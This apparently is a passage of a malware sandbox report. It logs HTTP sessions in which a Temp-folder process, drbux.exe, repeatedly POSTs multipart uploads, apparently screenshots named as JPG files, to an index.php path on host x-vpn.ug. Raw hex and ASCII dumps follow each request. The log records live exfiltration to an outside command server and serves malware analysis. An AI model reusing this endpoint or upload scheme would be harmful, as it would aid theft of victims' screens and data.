42	192.168.2.6	49779	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:44.347326040 CEST	4842	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:44.347441912 CEST	4842	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:44.347647905 CEST	4852	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:44.347768068 CEST	4855	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:44.431170940 CEST	4857	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:44.431657076 CEST	4860	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:44.432054996 CEST	4863	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:44.432090998 CEST	4866	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:44.432152033 CEST	4868	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:44.432365894 CEST	4871	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:44.432806015 CEST	4874	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:44.690121889 CEST	4939	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.6	49781	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:44.992096901 CEST	4949	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:44.992177963 CEST	4950	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:44.992367983 CEST	4960	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:44.992434978 CEST	4962	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:45.075809002 CEST	4963	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:45 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:45.076456070 CEST	4966	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:45.076812029 CEST	4968	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:45.076920033 CEST	4971	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:45.077248096 CEST	4974	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:45.077826023 CEST	4977	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:45.077987909 CEST	4979	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:45.078293085 CEST	4982	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.6	49782	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:45.560719013 CEST	5048	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:45.560745955 CEST	5048	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:45.560885906 CEST	5058	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:45.561163902 CEST	5061	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:45.643012047 CEST	5064	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:45.643043995 CEST	5066	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:45.643127918 CEST	5077	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:45.643239975 CEST	5081	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:45.643313885 CEST	5084	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:35:45.643369913 CEST	5086	OUT	Data Raw: 50 01 45 14 53 d4 03 8a 4a 5a 4a 40 14 a2 92 96 80 0a 5c 51 4b 4c 41 8a 31 40 a2 98 5c 29 c2 9b 4a 0d 02 14 75 a7 0e f4 da 5a 68 42 d1 45 2d 32 45 c5 26 29 40 a5 03 14 ec 03 71 45 29 a4 a0 10 51 49 45 20 0a 5a 29 0d 00 2d 28 a0 51 4c 05 a5 a4 a5 Data Ascii: PESJZJ@\QKLA1@\)JuZhBE-2E&)@qE)QIE Z)-(QL-!uQE74PE)i)i-%-4&)RR!MJ):JZ(SE:K)xJ*J:iA?4j:p5H3NSLZd2\F;5W&QfRdIiLUhx4FEQ6%
Jul 19, 2021 18:35:45.725008011 CEST	5089	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:35:45.898542881 CEST	5145	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.6	49784	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:47.564126968 CEST	5152	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:47.564292908 CEST	5152	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:47.564575911 CEST	5162	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:47.564706087 CEST	5165	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:47.647670031 CEST	5166	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:47 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:47.648581028 CEST	5172	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:47.648657084 CEST	5174	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:47.649108887 CEST	5177	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:47.649164915 CEST	5180	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
